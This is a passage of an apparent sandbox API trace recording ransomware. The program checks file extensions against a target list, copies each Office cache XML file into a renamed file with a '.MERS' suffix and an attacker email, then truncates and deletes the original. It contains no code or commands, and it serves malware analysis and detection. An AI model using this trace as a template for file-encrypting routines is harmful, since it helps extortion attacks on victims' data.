Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.159] lstrlenW (lpString=".doc") returned 4 [0034.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.159] lstrlenW (lpString=".docx") returned 5 [0034.159] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.159] lstrlenW (lpString=".pdf") returned 4 [0034.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.159] lstrlenW (lpString=".xls") returned 4 [0034.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.159] lstrlenW (lpString=".xlsx") returned 5 [0034.159] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.160] lstrlenW (lpString=".ppt") returned 4 [0034.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString=".zip") returned 4 [0034.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.160] lstrlenW (lpString=".rar") returned 4 [0034.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString=".bz2") returned 4 [0034.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString=".7z") returned 3 [0034.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString=".dbf") returned 4 [0034.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString=".1cd") returned 4 [0034.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString=".jpg") returned 4 [0034.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.160] lstrlenW (lpString=".doc") returned 4 [0034.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString=".docx") returned 5 [0034.160] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.160] lstrlenW (lpString=".pdf") returned 4 [0034.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString=".xls") returned 4 [0034.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.160] lstrlenW (lpString=".xlsx") returned 5 [0034.160] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.160] lstrlenW (lpString=".ppt") returned 4 [0034.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.161] lstrlenW (lpString=".zip") returned 4 [0034.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.161] lstrlenW (lpString=".rar") returned 4 [0034.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.161] lstrlenW (lpString=".bz2") returned 4 [0034.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.161] lstrlenW (lpString=".7z") returned 3 [0034.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.161] lstrlenW (lpString=".dbf") returned 4 [0034.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.161] lstrlenW (lpString=".1cd") returned 4 [0034.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.161] lstrlenW (lpString=".jpg") returned 4 [0034.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.161] Sleep (dwMilliseconds=0x64) [0034.266] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.266] lstrlenW (lpString="Setup.xml") returned 9 [0034.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.266] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2424) returned 1 [0034.266] CloseHandle (hObject=0x1dc) returned 1 [0034.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.267] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.267] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.267] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0034.555] GetLastError () returned 0x0 [0034.555] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x978, lpOverlapped=0x0) returned 1 [0034.726] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x980, lpOverlapped=0x0) returned 1 [0034.727] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.727] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.727] SetEndOfFile (hFile=0x1e4) returned 1 [0034.727] CloseHandle (hObject=0x1e4) returned 1 [0034.728] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.728] SetEndOfFile (hFile=0x1dc) returned 1 [0034.730] CloseHandle (hObject=0x1dc) returned 1 [0034.730] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.730] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.731] lstrlenW (lpString=".doc") returned 4 [0034.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.731] lstrlenW (lpString=".docx") returned 5 [0034.731] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.731] lstrlenW (lpString=".pdf") returned 4 [0034.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString=".xls") returned 4 [0034.732] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString=".xlsx") returned 5 [0034.732] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.732] lstrlenW (lpString=".ppt") returned 4 [0034.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString=".zip") returned 4 [0034.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.732] lstrlenW (lpString=".rar") returned 4 [0034.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString=".bz2") returned 4 [0034.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString=".7z") returned 3 [0034.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString=".dbf") returned 4 [0034.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString=".1cd") returned 4 [0034.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString=".jpg") returned 4 [0034.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.732] lstrlenW (lpString=".doc") returned 4 [0034.732] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.732] lstrlenW (lpString=".docx") returned 5 [0034.732] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.733] lstrlenW (lpString=".pdf") returned 4 [0034.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString=".xls") returned 4 [0034.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString=".xlsx") returned 5 [0034.733] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.733] lstrlenW (lpString=".ppt") returned 4 [0034.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.733] lstrlenW (lpString=".zip") returned 4 [0034.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.733] lstrlenW (lpString=".rar") returned 4 [0034.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString=".bz2") returned 4 [0034.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString=".7z") returned 3 [0034.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.733] lstrlenW (lpString=".dbf") returned 4 [0034.733] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.733] lstrlenW (lpString=".1cd") returned 4 [0034.733] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.733] lstrlenW (lpString=".jpg") returned 4 [0034.733] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.733] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.734] lstrlenW (lpString="Proof.xml") returned 9 [0034.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.734] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1458) returned 1 [0034.734] CloseHandle (hObject=0x1dc) returned 1 [0034.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0034.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.734] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.735] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.735] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0034.735] GetLastError () returned 0x0 [0034.735] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0034.814] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.815] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.815] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.815] SetEndOfFile (hFile=0x1e4) returned 1 [0034.815] CloseHandle (hObject=0x1e4) returned 1 [0034.816] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.816] SetEndOfFile (hFile=0x1dc) returned 1 [0034.817] CloseHandle (hObject=0x1dc) returned 1 [0034.817] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.817] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0034.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.817] lstrlenW (lpString=".doc") returned 4 [0034.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.817] lstrlenW (lpString=".docx") returned 5 [0034.817] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.817] lstrlenW (lpString=".pdf") returned 4 [0034.817] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.817] lstrlenW (lpString=".xls") returned 4 [0034.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.817] lstrlenW (lpString=".xlsx") returned 5 [0034.818] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.818] lstrlenW (lpString=".ppt") returned 4 [0034.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString=".zip") returned 4 [0034.818] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.818] lstrlenW (lpString=".rar") returned 4 [0034.818] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".bz2") returned 4 [0034.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".7z") returned 3 [0034.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString=".dbf") returned 4 [0034.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString=".1cd") returned 4 [0034.818] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString=".jpg") returned 4 [0034.818] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.818] lstrlenW (lpString=".doc") returned 4 [0034.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".docx") returned 5 [0034.818] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.818] lstrlenW (lpString=".pdf") returned 4 [0034.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".xls") returned 4 [0034.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".xlsx") returned 5 [0034.819] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.819] lstrlenW (lpString=".ppt") returned 4 [0034.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.819] lstrlenW (lpString=".zip") returned 4 [0034.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.819] lstrlenW (lpString=".rar") returned 4 [0034.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".bz2") returned 4 [0034.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".7z") returned 3 [0034.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.819] lstrlenW (lpString=".dbf") returned 4 [0034.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.819] lstrlenW (lpString=".1cd") returned 4 [0034.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.819] lstrlenW (lpString=".jpg") returned 4 [0034.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.820] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.820] lstrlenW (lpString="Office32MUI.xml") returned 15 [0034.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.821] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1383) returned 1 [0034.821] CloseHandle (hObject=0x1dc) returned 1 [0034.821] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0034.821] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.822] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.822] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0034.822] GetLastError () returned 0x0 [0034.822] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x567, lpOverlapped=0x0) returned 1 [0034.866] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x570, lpOverlapped=0x0) returned 1 [0034.867] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.867] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.867] SetEndOfFile (hFile=0x1e4) returned 1 [0034.868] CloseHandle (hObject=0x1e4) returned 1 [0034.868] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.868] SetEndOfFile 